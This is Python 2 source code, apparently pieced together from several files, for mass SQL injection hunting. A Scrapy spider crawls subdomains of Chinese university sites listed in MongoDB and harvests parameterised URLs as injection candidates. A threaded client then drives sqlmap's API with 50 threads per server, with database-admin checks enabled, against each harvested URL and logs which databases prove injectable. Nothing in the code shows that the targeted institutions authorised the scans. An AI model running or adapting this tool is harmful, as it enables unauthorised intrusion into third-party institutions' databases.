#----------------------------------------------------------------------
def __init__(self):
    '''从Mongo里面取出数据，并将正在爬取标志位置为1'''
    db = pymongo.MongoClient('119.29.70.15')['edu_cns']['things']
    things = db.find_one({'scrapyed':{'$exists':False}})
    db.update({'_id':things['_id']},{'$set':{'scrapyed':'1'}})
    self.start_urls =[ 'http://%s'%i for i in things['subDomains']]
    self.allowed_domains = [things['host']]
    print things
    self.host = things['host']
    self._id = things['_id']

def parse(self,response):
    """parse"""
    if not hasattr(response,'xpath'):
        return
    for url in response.xpath('//*[@href]/@href').extract():
        url = response.urljoin(url)  # 转化成绝对路径
        yield scrapy.Request(url)
        if '=' in url and '.css' not in url and 'javascript:' not in url and "tree.TreeTempUrl" not in url and '?' in url: #一个粗略的检查，这里写得很不好，需要重构
            item = UrlInjection()
            item['url'] = url
            item['_id'] = self._id
            yield item

class CustomFilter(RFPDupeFilter):
    def __init__(self,path=None,debug=None):
        RFPDupeFilter.__init__(self,path,debug)
        self.fingerprints = {}

    def __getid(self,url): # 使用Domain 作为key
        '''example：
            input http://www.sdu.edu.cn/path/to/file?key1=1&key2=2
            return www.sdu.edu.cn
        '''
        mm = urlparse(url)[1]
        return mm

    def request_seen(self, request): # 如果不需要继续爬取，则返回True，URL被过滤
        fp = self.__getid(request.url)
        if not self.fingerprints.has_key(fp): # 没有爬取过
            self.fingerprints[fp]=0
            return False
        else:
            if self.fingerprints[fp]<200: # 每个网站最多只爬取200个链接
                self.fingerprints[fp]+=1
                return False
            else:
                return True
~                                   

class MongoDBPipeline:
    """对爬取到的URL进行去重之后写入数据库"""
    #----------------------------------------------------------------------
    def __init__(self):
        connection = pymongo.MongoClient(
            settings['MONGODB_SERVER'],
            settings['MONGODB_PORT']
        )
        db = connection[settings['MONGODB_DB']]
        self.collection = db[settings['MONGODB_COLLECTION']]
        self.se = set()
    def process_item(self, item, spider):
        valid = True
        url = item['url']
        key = url[:url.find('?')]
        if key not in self.se:
#            self.collection.insert(dict(item))
#            i.update({'host':'hnjd.edu.c3n'},{'$push':{'url':{"$each":[6]}}})
            self.collection.update({'_id':item['_id']},{"$push":{"url":item['url']}})
            self.se.add(key)
        else:
            pass
        return item

#!/usr/bin/python
# -*- coding:utf-8 -*-

import time
import json
import urllib
import urllib2
#import redis
import sys
import requests
import param
import threading
from Queue import Queue
from pymongo import MongoClient
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
que = Queue()
result_que = Queue()
count = 0
MONGO_SERVER = '211.87.234.98'
MONGO_PORT = 27017
MONGO_DATABASE = 'edu_cnResults'
MONGO_COLLECTION = 'urls'
db = MongoClient(MONGO_SERVER,MONGO_PORT)[MONGO_DATABASE][MONGO_COLLECTION]
mutex = threading.Lock()
result_file = open('/tmp/resulttttt','w+')
class Autoinj(threading.Thread):
    """
    	sqlmapapi 接口建立和管理sqlmap任务
    	by zhangh (zhanghang.org#gmail.com)
      modefied by fiht(fiht#qq.com)
    """

    def __init__(self, server='', target='', method='', data='', cookie='', referer=''):
        threading.Thread.__init__(self)
        self.server = server
        if self.server[-1] != '/':
            self.server = self.server + '/'
        # if method == "GET":
            # self.target = target + '?' + data
        # else:
            # self.target = target
        self.target = ''
        self.taskid = ''
        self.engineid = ''
        self.status = ''
        self.method = method
        self.data = data
        self.referer = referer
        self.cookie = cookie
        self.start_time = time.time()
        #print "server: %s \ttarget:%s \tmethod:%s \tdata:%s \tcookie:%s" % (self.server, self.target, self.method, self.data, self.cookie)
    #----------------------------------------------------------------------
    def get_target(self):
        """从数据库中找target,以后可以加一个用文件找的"""
        mutex.acquire()
        result=db.find_one({'Scaning':{'$exists':False}})
        if result:
            self.target=result['url']
            db.update({'url':result['url']},{'$set':{'Scaning':1}})
            print('正在检测%s'%self.target)
            mutex.release()
            return True
        else:
            print('没法从数据库里面取出数据')
            mutex.release()
            return False
    def task_new(self):
        code = urllib.urlopen(self.server + param.task_new).read()
        self.taskid = json.loads(code)['taskid']
        return True

    def task_delete(self):
        url = self.server + param.task_del
        url = url.replace(param.taskid, self.taskid)
        requests.get(url).json()

    def scan_start(self):
        headers = {'Content-Type':'application/json'}
        url = self.server + param.scan_task_start
        url = url.replace(param.taskid, self.taskid)
        data = {'url':self.target}
        t = requests.post(url, data=json.dumps(data), headers=headers).text
        t = json.loads(t)
        self.engineid = t['engineid']
        return True

    def scan_status(self):
        url = self.server + param.scan_task_status
        url = url.replace(param.taskid, self.taskid)
        self.status = requests.get(url).json()['status']

    def scan_data(self):
        url = self.server + param.scan_task_data
        url = url.replace(param.taskid, self.taskid)
        return requests.get(url).json()

    def option_set(self):
        headers = {'Content-Type':'application/json'}
        url = self.server + param.option_task_set
        url = url.replace(param.taskid, self.taskid)
        data = {}
        if self.method == "POST":
            data["data"] = self.data
        if len(self.cookie)>1:
            data["cookie"] = self.cookie
        #print data
        data['threads'] = 10
        data['smart'] = True
        data['is-dba'] = True
        t = requests.post(url, data=json.dumps(data), headers=headers).text
        t = json.loads(t)

    def option_get(self):
        url = self.server + param.option_task_get
        url = url.replace(param.taskid, self.taskid)
        return requests.get(url).json()

    def scan_stop(self):
        url = self.server + param.scan_task_stop
        url = url.replace(param.taskid, self.taskid)
        return requests.get(url).json()

    def scan_kill(self):
        url = self.server + param.scan_task_kill
        url = url.replace(param.taskid, self.taskid)
        return requests.get(url).json()

    def start_test(self):
        # 开始任务
        #self.target=que.get()
        self.start_time = time.time()
        if not self.task_new():
            print("Error: task created failed.")
            return False
        # 设置扫描参数
        self.option_set()
        # 启动扫描任务
        if not self.scan_start():
            print("Error: scan start failed.")
            return False
        # 等待扫描任务
        while True:
            self.scan_status()
            if self.status == 'running':
                time.sleep(40)
            elif self.status== 'terminated':
                break
            else:
                print "unkown status"
                break
            if time.time() - self.start_time > 3000: #多于五分钟
                error = True
                print('删除一个不怎么带劲的IP:%s'%self.target)
                count += 1
                self.scan_stop()
                self.scan_kill()
                return [self.target,0]

        # 取结果
        res = self.scan_data()
        # 删任务
        self.task_delete()
        global count

        print(res['data'])
        if res['data']:
            count += 1
            print("耗时:" + str(time.time() - self.start_time))
            print('已经检测%d个url'%count)
            return [self.target,res['data'][0]['value'][0]['dbms']]
        else:
            count += 1
            print("耗时:" + str(time.time() - self.start_time))
            print('已经检测%d个url'%count)
            return [self.target,0]

    #----------------------------------------------------------------------
    def run(self):
        """不停地找"""
        while(self.get_target()):
            try:
                result = self.start_test()
                #print('----->',result)
                if result[1]:
                    mutex.acquire()
                    db.update({'url':result[0]},{'$set':{'injection':1,'info':result[1]}})
                    print('找到一个url%s'%self.target)
                    result_file.writelines(self.target+'--->'+str(result[1]))
                    mutex.release()
                else:
                    mutex.acquire()
                    db.update({'url':result[0]},{'$set':{'injection':0}})
                    mutex.release()
            except Exception as e:
                print e
                break
host_list = ['http://localhost:8775/','http://localhost:8776/','http://localhost:8776',
             'http://localhost:8775/',
#             'http://139.129.25.173:8775/',#,'http://139.129.25.173:8775/',
#             'http://123.206.65.93:8775/'
             ]
#----------------------------------------------------------------------
def main():
    threads = [Autoinj(host) for i in range(50) for host in host_list] # 一个client实例一次处理10个注入点
    for thread_ in threads:
        thread_.start()

if __name__=='__main__':
    start_time = time.time()
    # for i in open('/tmp/sss').readlines():
        # #print('http://%s'%i.strip())
        # que.put(i.strip())
    main()
    #host = ['http://localhost:8775/']
    #print('一共花费时间%s,一共找到注入%s'%(time.time()-start_time,result_que.qsize()))
#if Autoinj(server='http://localhost:8775/',target='http://f5eca5159a6076025.jie.sangebaimao.com/mysql/get_str.php?id=1').run()['data']: